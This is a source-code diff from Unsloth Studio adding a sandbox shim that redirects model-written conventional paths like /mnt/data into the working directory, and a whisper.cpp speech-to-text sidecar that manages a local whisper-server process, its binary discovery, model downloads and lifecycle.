+
+Models habitually write to /mnt/data (or /mnt/outputs, /home/sandbox,
+/workspace), none of which exist in the Unsloth sandbox. This module sits on the
+sandbox subprocess PYTHONPATH (see ``tools._build_safe_env``), so it loads at
+interpreter startup in every sandboxed ``python`` run and any Python the
+``terminal`` tool launches.
+
+It remaps those prefixes onto the CWD in ``open`` / ``io.open``, ``os.open``,
+``os.makedirs`` / ``os.mkdir`` and ``pathlib.Path.mkdir``. A write/create to a
+convention prefix always heals onto the CWD; a READ heals only when the mapped
+target already exists (re-reading an earlier write), so a genuinely missing
+input stays truthful on the path the model used instead of silently reading a
+same-basename workdir file. Since prefix lists cannot cover every invented path,
+``open`` / ``io.open`` also get a create-mode fallback: an absolute path outside
+the CWD whose parent is missing is redirected to the basename in the CWD. Reads
+and mkdir never use the fallback (an arbitrary absolute directory can legitimately
+succeed). It is collision-safe: it refuses to redirect onto an existing CWD file
+(letting open raise). The patch set (io.open, os.open, os.mkdir, Path.mkdir, and
+the <3.11 ``_NormalAccessor.open``) covers the low-level entry points pathlib
+routes through. A one-line stderr notice fires on the first remap, and everything
+is wrapped in try/except so a failure never breaks the interpreter.
+
+Identical with and without output streaming because the child env is.
+"""
+
+import builtins
+import io
+import json
+import os
+import sys
+
+# Code-interpreter convention prefixes. Remapping is gated on the prefix being
+# ABSENT (see _remap) so a genuine host mount / user dir is never shadowed.
+_PREFIXES = ("/mnt/data", "/mnt/outputs", "/home/sandbox", "/workspace")
+# /tmp exists on the host; separate only to note that. The absence gate applies alike.
+_CONDITIONAL_PREFIXES = ("/tmp/outputs",)
+_notified = False
+# Invented absolute write path -> healed CWD target, so re-writing the same
+# artifact re-serves it instead of tripping the anti-clobber guard.
+_remapped_writes: dict = {}
+# Each tool call is a fresh subprocess (in-process map starts empty), so this
+# on-disk sidecar carries the map across runs. It records only sources the
+# fallback healed, so an unrelated same-basename file is never adopted.
+_REMAP_SIDECAR = ".unsloth_sandbox_remap.json"
+
+
+def _note(subject, original, mapped):
+    """Print the one-shot stderr notice so the model learns the real location.
+
+    ``subject`` is what "does not exist" (the prefix, or the whole invented
+    path); ``original`` is echoed in the ``(original -> mapped)`` tail.
+    """
+    global _notified
+    if _notified:
+        return
+    _notified = True
+    print(
+        f"note: {subject} does not exist in this sandbox; "
+        f"using the working directory instead ({original} -> {mapped})",
+        file = sys.stderr,
+    )
+
+
+def _contained_join(cwd, rel):
+    """Join ``rel`` onto ``cwd`` so the result can never escape ``cwd``.
+
+    A habit path can carry ``..`` segments; joining verbatim would let the target
+    climb above the sandbox. ``..`` components are dropped and empty / ``.`` ones
+    ignored, keeping the result under ``cwd``.
+    """
+    parts = []
+    for part in rel.split("/"):
+        if part == "" or part == ".":
+            continue
+        if part == "..":
+            if parts:
+                parts.pop()
+            continue
+        parts.append(part)
+    return os.path.join(cwd, *parts) if parts else cwd
+
+
+def _map_onto_cwd(
+    prefix,
+    text,
+    notify = True,
+):
+    """Map ``<prefix>/rest`` onto ``./rest`` in the CWD, noting it once.
+
+    The suffix is contained under the CWD (see ``_contained_join``) so a path
+    like ``/mnt/data/../other_session/file`` cannot escape the workdir.
+    ``notify`` is False when the caller may keep the original path (a read), so
+    the one-shot notice is not spent on a remap that never happens.
+    """
+    rel = text[len(prefix) :].lstrip("/")
+    mapped = _contained_join(os.getcwd(), rel)
+    if notify:
+        _note(prefix, text, mapped)
+    return mapped
+
+
+def _sidecar_path(cwd):
+    return os.path.join(cwd, _REMAP_SIDECAR)
+
+
+def _load_sidecar(cwd):
+    """Return the persisted ``source -> healed target`` map, or {} on any error
+    (missing/corrupt/foreign sidecar degrades to in-process-only behaviour)."""
+    try:
+        with open(_sidecar_path(cwd)) as fh:
+            data = json.load(fh)
+    except Exception:  # noqa: BLE001 - a bad sidecar must never break user code
+        return {}
+    return data if isinstance(data, dict) else {}
+
+
+def _record_sidecar(cwd, source, target):
+    """Persist ``source -> target`` so the next run re-serves it.
+
+    Written atomically (temp + ``os.replace``) and wrapped so a read-only/full
+    filesystem never breaks the interpreter. The path is inside the CWD, so the
+    patched ``open`` leaves it untouched (no remap, no recursion).
+    """
+    try:
+        data = _load_sidecar(cwd)
+        if data.get(source) == target:
+            return
+        data[source] = target
+        tmp = _sidecar_path(cwd) + ".tmp"
+        with open(tmp, "w") as fh:
+            json.dump(data, fh)
+        os.replace(tmp, _sidecar_path(cwd))
+    except Exception:  # noqa: BLE001 - persistence is best effort only
+        pass
+
+
+def _is_creating_mode(mode):
+    """True only when an ``open()`` mode string can CREATE a missing file.
+
+    Only ``w`` / ``a`` / ``x`` create. ``r+`` / ``rb+`` require the path to exist,
+    so they must not trip the write fallback (which would corrupt an unrelated
+    same-basename file); ``w+`` / ``a+`` / ``x+`` still match.
+    """
+    return isinstance(mode, str) and any(c in mode for c in ("w", "a", "x"))
+
+
+def _remap_open(file, mode):
+    """Remap for ``open()`` / ``io.open()``.
+
+    A prefix remap runs first: a write/create heals onto the CWD; a READ heals
+    only when the mapped target already exists (re-reading an earlier write),
+    else the original path is kept so a genuine missing input fails truthfully
+    instead of silently reading a same-basename workdir file. Only if no prefix
+    matched and the call creates does the fallback kick in: an absolute target
+    outside the CWD whose parent is missing is redirected to the basename in the
+    CWD, unless ``CWD/<basename>`` already exists (an unrelated file), in which
+    case the original path is kept so open raises.
+    """
+    creating = _is_creating_mode(mode)
+    # notify=False: emit the notice only once we commit to the mapping below.
+    mapped = _remap(file, notify = False)
+    if mapped is not file:
+        # Write always heals; a read only when the mapped target exists (else keep
+        # the original path so a missing input stays truthful).
+        if creating or os.path.exists(mapped):
+            # Commit: emit the notice now (the notify=False peek above deferred it).
+            _remap(file, notify = True)
+            return mapped
+        return file
+    if not creating:
+        return file
+    try:
+        text = os.fspath(file)
+    except TypeError:
+        return file
+    # bytes paths left untouched (str-only, matching the prefix remaps).
+    if not isinstance(text, str) or not os.path.isabs(text):
+        return file
+    cwd = os.getcwd()
+    # Already inside the CWD: a real target the model meant; leave it alone.
+    if text == cwd or text.startswith(cwd + os.sep):
+        return file
+    parent = os.path.dirname(text)
+    # Redirect only when the parent is missing; an existing external directory is
+    # a deliberate target and stays truthful (os.path.exists follows symlinks).
+    if parent and os.path.exists(parent):
+        return file
+    base = os.path.basename(text)
+    # A trailing sep or '.'/'..' basename would redirect onto the CWD or its
+    # parent; refuse and let open raise.
+    if base in ("", ".", ".."):
+        return file
+    remapped = os.path.join(cwd, base)
+    # Never clobber an unrelated file sharing this basename (lexists catches
+    # dangling symlinks). But a target this fallback already healed for the same
+    # invented path (in-process map or cross-run sidecar) is the artifact being
+    # re-written, so re-serve it instead of raising on every overwrite.
+    if os.path.lexists(remapped) and remapped not in (
+        _remapped_writes.get(text),
+        _load_sidecar(cwd).get(text),
+    ):
+        return file
+    _remapped_writes[text] = remapped
+    _record_sidecar(cwd, text, remapped)
+    _note(text, text, remapped)
+    return remapped
+
+
+def _remap(path, notify = True):
+    """Map ``<prefix>/rest`` onto ``./rest`` in the CWD; other paths pass through.
+
+    ``notify`` is forwarded to ``_map_onto_cwd``; ``_remap_open`` passes False so
+    a read that keeps its original path emits no false notice.
+    """
+    try:
+        text = os.fspath(path)
+    except TypeError:
+        return path
+    if not isinstance(text, str):
+        return path
+    for prefix in _PREFIXES + _CONDITIONAL_PREFIXES:
+        # Heal only while the real prefix directory is absent, so a genuine host
+        # mount / user directory at that prefix is never shadowed.
+        if (text == prefix or text.startswith(prefix + "/")) and not os.path.exists(prefix):
+            return _map_onto_cwd(prefix, text, notify = notify)
+    return path
+
+
+def _install():
+    import pathlib
+
+    original_open = builtins.open
+    original_io_open = io.open
+    original_os_open = os.open
+    original_makedirs = os.makedirs
+    original_mkdir = os.mkdir
+    original_path_mkdir = pathlib.Path.mkdir
+
+    def _open(
+        file,
+        mode = "r",
+        *args,
+        **kwargs,
+    ):
+        return original_open(_remap_open(file, mode), mode, *args, **kwargs)
+
+    def _io_open(
+        file,
+        mode = "r",
+        *args,
+        **kwargs,
+    ):
+        return original_io_open(_remap_open(file, mode), mode, *args, **kwargs)
+
+    # mkdir/makedirs get only the prefix remap, never the write-mode fallback:
+    # an arbitrary absolute directory can legitimately succeed on the host.
+    def _makedirs(name, *args, **kwargs):
+        return original_makedirs(_remap(name), *args, **kwargs)
+
+    def _mkdir(path, *args, **kwargs):
+        return original_mkdir(_remap(path), *args, **kwargs)
+
+    def _os_open(
+        path,
+        flags,
+        mode = 0o777,
+        *,
+        dir_fd = None,
+    ):
+        # Path.touch() etc. go through os.open, not builtins.open. Only O_CREAT
+        # can create, so only it maps to "creating" mode; O_TRUNC / O_APPEND
+        # without O_CREAT still require the file to exist, so behave as a read.
+        logical_mode = "w" if (flags & os.O_CREAT) else "r"
+        mapped = _remap_open(path, logical_mode)
+        if dir_fd is None:
+            return original_os_open(mapped, flags, mode)
+        return original_os_open(mapped, flags, mode, dir_fd = dir_fd)
+
+    def _path_mkdir(self, *args, **kwargs):
+        # pathlib probes Path.is_dir()/os.stat (unpatched) on FileExistsError, so
+        # a bare os.mkdir remap would still raise when the target exists. Remap
+        # the receiver up front so parents/exist_ok stays idempotent.
+        mapped = _remap(self)
+        target = self if mapped is self else self.__class__(mapped)
+        return original_path_mkdir(target, *args, **kwargs)
+
+    builtins.open = _open
+    # pathlib.Path.open / write_text / read_text call io.open directly, so patch both.
+    io.open = _io_open
+    # Python < 3.11 only: pathlib's accessor captured the ORIGINAL io.open at
+    # import (``_NormalAccessor.open = io.open``), so the io.open patch misses it.
+    # Repoint it at the same wrapper (staticmethod to stay unbound); 3.11+ dropped
+    # the accessor, so this is a no-op there.
+    accessor = getattr(pathlib, "_NormalAccessor", None)
+    if accessor is not None and hasattr(accessor, "open"):
+        accessor.open = staticmethod(_io_open)
+    # Path.touch() and other low-level opens call os.open directly, so patch it too.
+    os.open = _os_open
+    os.makedirs = _makedirs
+    # Path.mkdir(parents=True) calls os.mkdir per component, so patch os.mkdir;
+    # patch Path.mkdir itself too so exist_ok/parents land on the mapped path.
+    os.mkdir = _mkdir
+    pathlib.Path.mkdir = _path_mkdir
+
+
+try:
+    _install()
+except Exception:  # noqa: BLE001 - a broken shim must never break user code
+    pass
diff --git a/studio/backend/core/inference/stt_ggml_sidecar.py b/studio/backend/core/inference/stt_ggml_sidecar.py
new file mode 100644
index 0000000000..02b376dea5
--- /dev/null
+++ b/studio/backend/core/inference/stt_ggml_sidecar.py
@@ -0,0 +1,876 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""whisper.cpp (GGML/GGUF) speech-to-text sidecar for Studio dictation.
+
+Runs the same curated Whisper checkpoints as the Transformers sidecar
+(stt_sidecar.py) through whisper.cpp's `whisper-server`, ~2.5x faster at
+identical quality on Apple Silicon and CPU because its Metal/CPU kernels run
+the weights in f16 where PyTorch MPS requires fp32.
+
+Owns a single `whisper-server` subprocess bound to 127.0.0.1 on an ephemeral
+port; the model loads on demand, stays warm between dictations, and unloads
+after the same keep-alive as the Transformers sidecar. Curated GGML checkpoints
+are single files from `unslothai/whisper-*-GGUF`, downloaded directly rather
+than through the Model Hub (whose variant planner only handles `.gguf` chat
+layouts).
+
+Binary discovery mirrors `_find_llama_server_binary`: env override, then managed
+Studio home, then PATH. With no binary the engine is unavailable and dictation
+falls back to the Transformers sidecar; `scripts/build_whisper_cpp.sh` installs
+the binary.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import os
+import re
+import shutil
+import socket
+import subprocess
+import sys
+import threading
+import time
+import urllib.request
+import uuid
+import wave
+from contextlib import contextmanager
+from pathlib import Path
+from typing import Iterator, Optional
+
+from loggers import get_logger
+
+from core.inference.stt_sidecar import (
+    STT_KEEP_ALIVE_SECONDS,
+    SttAudioDecodeError,
+    SttLanguageError,
+    SttLoadCancelledError,
+    SttModelIdError,
+    SttModelNotDownloadedError,
+    SttUnavailableError,
+    _decode_audio_bounded,
+    _known_whisper_languages,
+    _TARGET_SAMPLE_RATE,
+    _training_active,
+    normalize_whisper_language,
+)
+from utils.prebuilt.child_env import isolate_home, scrub_env, wsl_system_rocm_lib_dirs
+from utils.prebuilt.runtime_libs import dedupe_existing_dirs
+from utils.prebuilt.whisper_layout import lookup_marker
+from utils.process_lifetime import adopt_pid, child_popen_kwargs, forget_pid
+
+logger = get_logger(__name__)
+
+# Curated GGML checkpoints, one repo per model. Keys match the Transformers
+# sidecar's ids so the frontend reuses one picker; values are the single file
+# inside each repo.
+GGML_STT_REPOS: dict[str, str] = {
+    "tiny": "unslothai/whisper-tiny-GGUF",
+    "base": "unslothai/whisper-base-GGUF",
+    "small": "unslothai/whisper-small-GGUF",
+    "large-v3-turbo": "unslothai/whisper-large-v3-turbo-GGUF",
+    "large-v3": "unslothai/whisper-large-v3-GGUF",
+}
+GGML_STT_MODELS: dict[str, str] = {
+    "tiny": "whisper-tiny.bin",
+    "base": "whisper-base.bin",
+    "small": "whisper-small.bin",
+    "large-v3-turbo": "whisper-large-v3-turbo.bin",
+    "large-v3": "whisper-large-v3.bin",
+}
+DEFAULT_GGML_STT_MODEL = "small"
+
+_SERVER_START_TIMEOUT_SECONDS = 120.0
+_TRANSCRIBE_TIMEOUT_SECONDS = 600.0
+
+
+class SttEngineUnavailableError(SttUnavailableError):
+    """whisper-server is not installed; the GGUF dictation engine is off."""
+
+
+def resolve_ggml_model_id(model: Optional[str]) -> str:
+    """Validate a curated GGML model id. Custom repos are not supported here."""
+    if model is None or not str(model).strip():
+        return DEFAULT_GGML_STT_MODEL
+    normalized = str(model).strip()
+    if normalized in GGML_STT_MODELS:
+        return normalized
+    raise SttModelIdError(
+        f"STT model '{model}' is not a curated GGUF dictation model. "
+        f"Choose one of: {', '.join(GGML_STT_MODELS)}."
+    )
+
+
+def _managed_whisper_cpp_dir() -> Path:
+    """`<STUDIO_HOME>/whisper.cpp` in custom mode, else `~/.unsloth/whisper.cpp`.
+
+    Mirrors `managed_node_dir` / `_find_llama_server_binary` so managed runtimes
+    share one parent directory.
+    """
+    legacy = Path.home() / ".unsloth" / "whisper.cpp"
+    try:
+        from utils.paths.storage_roots import studio_root
+
+        resolved = studio_root()
+        legacy_studio = Path.home() / ".unsloth" / "studio"
+        try:
+            is_legacy = resolved.resolve() == legacy_studio.resolve()
+        except (OSError, ValueError):
+            is_legacy = resolved == legacy_studio
+        return legacy if is_legacy else (resolved / "whisper.cpp")
+    except (ImportError, OSError, ValueError):
+        override = (
+            os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME") or ""
+        ).strip()
+        if override:
+            try:
+                return Path(override).expanduser().resolve() / "whisper.cpp"
+            except (OSError, ValueError):
+                return Path(override).expanduser() / "whisper.cpp"
+        return legacy
+
+
+def find_whisper_server_binary() -> Optional[str]:
+    """Locate the whisper-server binary.
+
+    Search order:
+    1. WHISPER_SERVER_PATH environment variable (direct path to binary)
+    2. UNSLOTH_WHISPER_CPP_PATH env var (custom whisper.cpp install dir)
+    3. managed dir: <STUDIO_HOME or ~/.unsloth>/whisper.cpp/{,build/bin/}whisper-server
+    4. whisper-server on PATH
+    """
+    binary_name = "whisper-server.exe" if sys.platform == "win32" else "whisper-server"
+
+    def _layout_candidates(d: Path) -> list[Path]:
+        cands = [d / binary_name, d / "build" / "bin" / binary_name]
+        if sys.platform == "win32":
+            cands.append(d / "build" / "bin" / "Release" / binary_name)
+        return cands
+
+    env_path = os.environ.get("WHISPER_SERVER_PATH")
+    if env_path:
+        p = Path(env_path)
+        if _is_runnable(p):
+            return str(p)
+
+    custom_dir = os.environ.get("UNSLOTH_WHISPER_CPP_PATH")
+    if custom_dir:
+        for p in _layout_candidates(Path(custom_dir)):
+            if _is_runnable(p):
+                return str(p)
+
+    for p in _layout_candidates(_managed_whisper_cpp_dir()):
+        if _is_runnable(p):
+            return str(p)
+
+    return shutil.which(binary_name)
+
+
+def _is_runnable(p: Path) -> bool:
+    """A real whisper-server is an executable file. On Windows os.access(X_OK) is
+    effectively an existence check; on Unix it rejects a non-executable stub so a
+    half-written or wrong-mode file isn't mistaken for the server."""
+    return p.is_file() and (sys.platform == "win32" or os.access(p, os.X_OK))
+
+
+def _whisper_install_marker(binary: str) -> Optional[dict]:
+    """The prebuilt install marker above ``binary``, or None (source/custom builds)."""
+    return lookup_marker(binary).marker
+
+
+def slim_runtime_intact(binary: str) -> bool:
+    """True unless the marker says slim and the linked ggml runtime is missing
+    beside the server. New markers record the exact wired filenames
+    (linked_libraries), all of which must be present; legacy markers without the
+    field fall back to the per-OS core ggml name globs. A broken slim install
+    reads as engine-unavailable (reinstall via `unsloth studio update`), never a
+    crash at load."""
+    lookup = lookup_marker(binary)
+    marker = lookup.marker
+    if lookup.invalid or marker is None:
+        return not lookup.slim_collision
+    if not marker or marker.get("install_kind") != "slim":
+        return True
+    if lookup.authoritative:
+        valid = marker.get("component") == "whisper.cpp"
+        valid = valid and isinstance(marker.get("schema_version"), int)
+        valid = valid and all(
+            isinstance(marker.get(key), str) and marker[key]
+            for key in ("release_tag", "backend", "paired_llama_tag")
+        )
+        valid = valid and isinstance(marker.get("linked_libraries"), list)
+        valid = valid and bool(marker.get("linked_libraries"))
+        valid = valid and all(
+            isinstance(name, str) and name and Path(name).name == name
+            for name in marker["linked_libraries"]
+        )
+        if not valid:
+            return False
+    bin_dir = Path(binary).parent
+    linked = marker.get("linked_libraries")
+    if isinstance(linked, list) and linked and all(isinstance(name, str) for name in linked):
+        intact = all((bin_dir / name).is_file() for name in linked)
+    else:
+        if sys.platform == "win32":
+            required = ("ggml.dll", "ggml-base.dll")
+        elif sys.platform == "darwin":
+            required = ("libggml*.dylib", "libggml-base*.dylib")
+        else:
+            required = ("libggml.so*", "libggml-base.so*")
+        intact = all(any(p.is_file() for p in bin_dir.glob(pattern)) for pattern in required)
+    runtime_dirs = marker.get("linked_runtime_directories")
+    if intact and isinstance(runtime_dirs, list) and runtime_dirs:
+        intact = all(
+            isinstance(name, str)
+            and name
+            and (bin_dir / name).is_dir()
+            and any(path.is_file() for path in (bin_dir / name).rglob("*"))
+            for name in runtime_dirs
+        )
+    if intact and marker.get("backend") == "rocm":
+        expected_runtime_dirs = set() if sys.platform == "win32" else {"hipblaslt", "rocblas"}
+        intact = (
+            marker.get("runtime_wiring_version") == 2
+            and isinstance(runtime_dirs, list)
+            and set(runtime_dirs) == expected_runtime_dirs
+        )
+    if not intact:
+        logger.warning(
+            "slim whisper install is missing its linked ggml runtime at "
+            f"{bin_dir}; run `unsloth studio update` to reinstall it"
+        )
+    return intact
+
+
+def is_available() -> bool:
+    binary = find_whisper_server_binary()
+    if binary is None:
+        return False
+    if not slim_runtime_intact(binary):
+        return False
+    try:
+        import av  # noqa: F401
+    except Exception:
+        # No PyAV means every transcription 501s on decode.
+        return False
+    return True
+
+
+def ensure_engine_available() -> str:
+    binary = find_whisper_server_binary()
+    if binary is None:
+        raise SttEngineUnavailableError(
+            "The local transcription runtime is not installed. Run "
+            "`unsloth studio update` to install it."
+        )
+    if not slim_runtime_intact(binary):
+        raise SttEngineUnavailableError(
+            "The local transcription runtime is missing its paired ggml "
+            "libraries. Run `unsloth studio update` to reinstall it."
+        )
+    return binary
+
+
+# ---------------------------------------------------------------------------
+# whisper-server child-process environment
+# ---------------------------------------------------------------------------
+# Build the whisper-server env: prepend the binary dir (co-located libs win, and
+# a backstop where the loader ignores the rpath) and scrub secret-bearing vars the
+# binary never needs. On WSL2 ROCm the system HIP libs go first, since a bundle's
+# bare-metal HIP cannot drive /dev/dxg. A CUDA bundle ships libggml-cuda.so but not
+# libcudart/libcublas (paired with the user's PyTorch), so add the
+# CUDA-from-PyTorch runtime dirs the selection gated on, else the backend cannot
+# resolve a runtime that lives only in wheels. Mirrors llama's binary_env(); the
+# scrub/WSL/dedupe helpers live in utils.prebuilt.
+
+# Module-level aliases keep the historical patch points for tests and callers.
+_wsl_system_rocm_lib_dirs = wsl_system_rocm_lib_dirs
+_dedupe_existing_dirs = dedupe_existing_dirs
+
+
+def _whisper_server_child_env(binary: str) -> dict[str, str]:
+    """Env for the whisper-server subprocess: secrets scrubbed, home/profile vars
+    repointed at a managed scratch dir (a downloaded binary must not see the real
+    home's token caches), co-located libs on the loader path, WSL system HIP first
+    on WSL2 ROCm."""
+    env = scrub_env(os.environ)
+    isolate_home(env, str(_managed_whisper_cpp_dir() / ".child_home"))
+    bin_dir = str(Path(binary).parent)
+    # A CUDA bundle needs the CUDA-from-PyTorch wheel dirs so libcudart/libcublas
+    # resolve at launch when they live only in site-packages/nvidia/*/lib. Placed
+    # after bin_dir so co-located libs still win; empty for other bundles.
+    cuda_runtime_dirs: list[str] = []
+    bundle_dir = Path(bin_dir)
+    has_cuda_module = any(
+        path.is_file()
+        for pattern in ("libggml-cuda.so*", "ggml-cuda*.dll")
+        for path in bundle_dir.glob(pattern)
+    )
+    if has_cuda_module:
+        try:
+            from utils.prebuilt.runtime_libs import python_runtime_dirs
+            cuda_runtime_dirs = python_runtime_dirs()
+        except Exception:
+            cuda_runtime_dirs = []
+    if sys.platform == "win32":
+        var, lead = "PATH", [bin_dir, *cuda_runtime_dirs]
+    elif sys.platform == "darwin":
+        var, lead = "DYLD_LIBRARY_PATH", [bin_dir]
+    else:
+        var, lead = "LD_LIBRARY_PATH", [bin_dir, *cuda_runtime_dirs]
+        wsl_rocm = _wsl_system_rocm_lib_dirs()
+        if wsl_rocm:
+            lead = [*wsl_rocm, bin_dir, *cuda_runtime_dirs]
+            env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
+    existing = [p for p in env.get(var, "").split(os.pathsep) if p]
+    env[var] = os.pathsep.join(_dedupe_existing_dirs([*lead, *existing]))
+    return env
+
+
+# ---------------------------------------------------------------------------
+# Model file download (single files; deliberately outside the Model Hub flow)
+# ---------------------------------------------------------------------------
+
+
+def _cached_model_path(model_id: str) -> Optional[str]:
+    """Path of a fully downloaded GGML file in the shared HF cache, else None."""
+    from huggingface_hub import hf_hub_download
+    try:
+        return hf_hub_download(
+            repo_id = GGML_STT_REPOS[model_id],
+            filename = GGML_STT_MODELS[model_id],
+            local_files_only = True,
+        )
+    except Exception:
+        return None
+
+
+class _GgmlDownloadState:
+    """Tracks one background hf_hub_download of a curated GGML file."""
+
+    def __init__(self) -> None:
+        self._lock = threading.Lock()
+        self._thread: Optional[threading.Thread] = None
+        self._model_id: Optional[str] = None
+        self._error: Optional[str] = None
+        self._total_bytes: Optional[int] = None
+        self._etag: Optional[str] = None
+
+    def status(self) -> dict:
+        with self._lock:
+            downloading = self._thread is not None and self._thread.is_alive()
+            return {
+                "downloading": downloading,
+                "model": self._model_id if downloading else None,
+                "error": self._error,
+                "bytes_total": self._total_bytes if downloading else None,
+                "bytes_done": self._incomplete_bytes() if downloading else None,
+            }
+
+    def _incomplete_bytes(self) -> Optional[int]:
+        """Best-effort progress: size of the in-flight blob in the HF cache.
+
+        hf_hub_download writes ``blobs/<etag>.incomplete``; prefer this file's
+        etag, else the largest in-flight blob.
+        """
+        try:
+            from huggingface_hub.constants import HF_HUB_CACHE
+
+            # Caller may hold the non-reentrant self._lock; bare reads are safe.
+            model_id = self._model_id
+            if not model_id:
+                return None
+            repo_dir = (
+                Path(HF_HUB_CACHE)
+                / f"models--{GGML_STT_REPOS[model_id].replace('/', '--')}"
+                / "blobs"
+            )
+            if not repo_dir.is_dir():
+                return None
+            etag = self._etag
+            if etag:
+                target = repo_dir / f"{etag}.incomplete"
+                if target.is_file():
+                    return target.stat().st_size
+            sizes = [p.stat().st_size for p in repo_dir.glob("*.incomplete") if p.is_file()]
+            return max(sizes) if sizes else None
+        except Exception:
+            return None
+
+    def start(
+        self,
+        model_id: str,
+        hf_token: Optional[str] = None,
+    ) -> None:
+        model_id = resolve_ggml_model_id(model_id)
+        with self._lock:
+            if self._thread is not None and self._thread.is_alive():
+                if self._model_id == model_id:
+                    return
+                raise SttModelIdError(
+                    f"Another GGUF dictation model ('{self._model_id}') is still "
+                    "downloading; wait for it to finish."
+                )
+            self._model_id = model_id
+            self._error = None
+            self._total_bytes = None
+            self._etag = None
+            thread = threading.Thread(target = self._run, args = (model_id, hf_token), daemon = True)
+            self._thread = thread
+            thread.start()
+
+    def _run(self, model_id: str, hf_token: Optional[str]) -> None:
+        repo_id = GGML_STT_REPOS[model_id]
+        filename = GGML_STT_MODELS[model_id]
+        try:
+            from huggingface_hub import (
+                get_hf_file_metadata,
+                hf_hub_download,
+                hf_hub_url,
+            )
+            try:
+                # One HEAD request for the total and etag.
+                meta = get_hf_file_metadata(hf_hub_url(repo_id, filename), token = hf_token or None)
+                with self._lock:
+                    self._total_bytes = meta.size
+                    self._etag = meta.etag
+            except Exception:
+                pass
+            hf_hub_download(
+                repo_id = repo_id,
+                filename = filename,
+                token = hf_token or None,
+            )
+        except Exception as exc:
+            logger.warning("GGUF STT download failed for %s: %s", model_id, exc)
+            with self._lock:
+                self._error = f"Download failed for '{model_id}'."
+
+
+_download_state = _GgmlDownloadState()
+
+
+def start_model_download(model: Optional[str], hf_token: Optional[str] = None) -> None:
+    _download_state.start(resolve_ggml_model_id(model), hf_token)
+
+
+def download_status() -> dict:
+    return _download_state.status()
+
+
+# ---------------------------------------------------------------------------
+# WAV packaging
+# ---------------------------------------------------------------------------
+
+
+def _pcm_to_wav_bytes(decoded_audio) -> bytes:
+    """Wrap decoded float32 mono 16 kHz PCM into an in-memory 16-bit WAV."""
+    import numpy as np
+
+    clipped = np.clip(decoded_audio, -1.0, 1.0)
+    pcm16 = (clipped * 32767.0).astype("<i2")
+    buf = io.BytesIO()
+    with wave.open(buf, "wb") as w:
+        w.setnchannels(1)
+        w.setsampwidth(2)
+        w.setframerate(_TARGET_SAMPLE_RATE)
+        w.writeframes(pcm16.tobytes())
+    return buf.getvalue()
+
+
+# ---------------------------------------------------------------------------
+# Sidecar
+# ---------------------------------------------------------------------------
+
+
+class GgmlSttSidecar:
+    """Owns one whisper-server subprocess and proxies dictation to it."""
+
+    def __init__(self, keep_alive_seconds: float = STT_KEEP_ALIVE_SECONDS) -> None:
+        self._lock = threading.RLock()
+        self._process: Optional[subprocess.Popen] = None
+        self._port: Optional[int] = None
+        self._model_id: Optional[str] = None
+        self._idle_timer: Optional[threading.Timer] = None
+        self._idle_generation = 0
+        self._keep_alive_seconds = keep_alive_seconds
+        # Set while whisper-server starts so training admission can account for
+        # the accelerator memory it is about to bind. Read without the lock.
+        self._loading = False
+        # A still-starting whisper-server is cancellable so training can preempt
+        # it before it binds accelerator memory. Assigned inside self._lock but
+        # acted on without it: cancel_pending_load() runs while load() holds the
+        # lock, so the event is the source of truth and terminating the process
+        # is a best-effort fast path.
+        self._load_cancel_event: Optional[threading.Event] = None
+        self._starting_process: Optional[subprocess.Popen] = None
+        # Set before the updater waits for _lock, then kept set while it owns
+        # the lock and atomically replaces the managed install tree. New loads
+        # fail fast instead of starting a process from files being swapped.
+        self._update_in_progress = False
+
+    @property
+    def loaded_model(self) -> Optional[str]:
+        # Lock-free status read (like stt_sidecar.py): transcribe() holds
+        # self._lock for the whole inference call (up to
+        # _TRANSCRIBE_TIMEOUT_SECONDS), and status polls plus training admission
+        # must not block behind it. _process_alive() snapshots self._process
+        # before poll(), which subprocess guards with _waitpid_lock, so a
+        # concurrent unload is safe.
+        return self._model_id if self._process_alive() else None
+
+    @property
+    def device(self) -> Optional[str]:
+        return "whisper.cpp" if self._process_alive() else None
+
+    def is_loading(self) -> bool:
+        # True only while whisper-server is starting (seconds to bind its GPU
+        # backend); load() sets and clears the flag around that window.
+        return self._loading
+
+    @property
+    def keep_alive_seconds(self) -> float:
+        return self._keep_alive_seconds
+
+    def _process_alive(self) -> bool:
+        # Snapshot self._process once: a concurrent unload() nulls it under the
+        # lock, so lock-free readers would otherwise re-read None between the
+        # truthiness check and .poll().
+        process = self._process
+        return process is not None and process.poll() is None
+
+    # -- idle unload ------------------------------------------------------
+
+    def _cancel_idle_unload_locked(self) -> None:
+        self._idle_generation += 1
+        if self._idle_timer is not None:
+            self._idle_timer.cancel()
+            self._idle_timer = None
+
+    def _schedule_idle_unload_locked(self) -> None:
+        self._cancel_idle_unload_locked()
+        if not self._process_alive():
+            return
+        generation = self._idle_generation
+        timer = threading.Timer(self._keep_alive_seconds, self._idle_unload, args = (generation,))
+        timer.daemon = True
+        self._idle_timer = timer
+        timer.start()
+
+    def _idle_unload(self, generation: int) -> None:
+        with self._lock:
+            if generation != self._idle_generation:
+                return
+            logger.info("Unloading idle GGUF STT model %s", self._model_id)
+            self._release_locked()
+
+    # -- process lifecycle -------------------------------------------------
+
+    def _release_locked(self) -> None:
+        self._cancel_idle_unload_locked()
+        process = self._process
+        self._process = None
+        self._port = None
+        self._model_id = None
+        if process is not None and process.poll() is None:
+            process.terminate()
+            try:
+                process.wait(timeout = 10)
+            except subprocess.TimeoutExpired:
+                process.kill()
+                process.wait(timeout = 10)
+        if process is not None:
+            forget_pid(process.pid)
+
+    def unload(self) -> None:
+        with self._lock:
+            self._release_locked()
+
+    def _raise_if_update_in_progress(self) -> None:
+        if self._update_in_progress:
+            raise SttEngineUnavailableError(
+                "The local transcription runtime is being updated. Try dictation again shortly."
+            )
+
+    @contextmanager
+    def update_maintenance(self) -> Iterator[bool]:
+        """Block new loads while the managed whisper.cpp tree is replaced.
+
+        The flag is published before waiting for an existing transcription to
+        release ``_lock``. Holding that lock across the yielded installer phase
+        prevents Windows from relocking the executable and prevents every host
+        from starting a process against a partially swapped tree. The yielded
+        value records whether a warm model had to be unloaded.
+        """
+        self._update_in_progress = True
+        try:
+            with self._lock:
+                model_was_active = self._process_alive()
+                self._release_locked()
+                yield model_was_active
+        finally:
+            self._update_in_progress = False
+
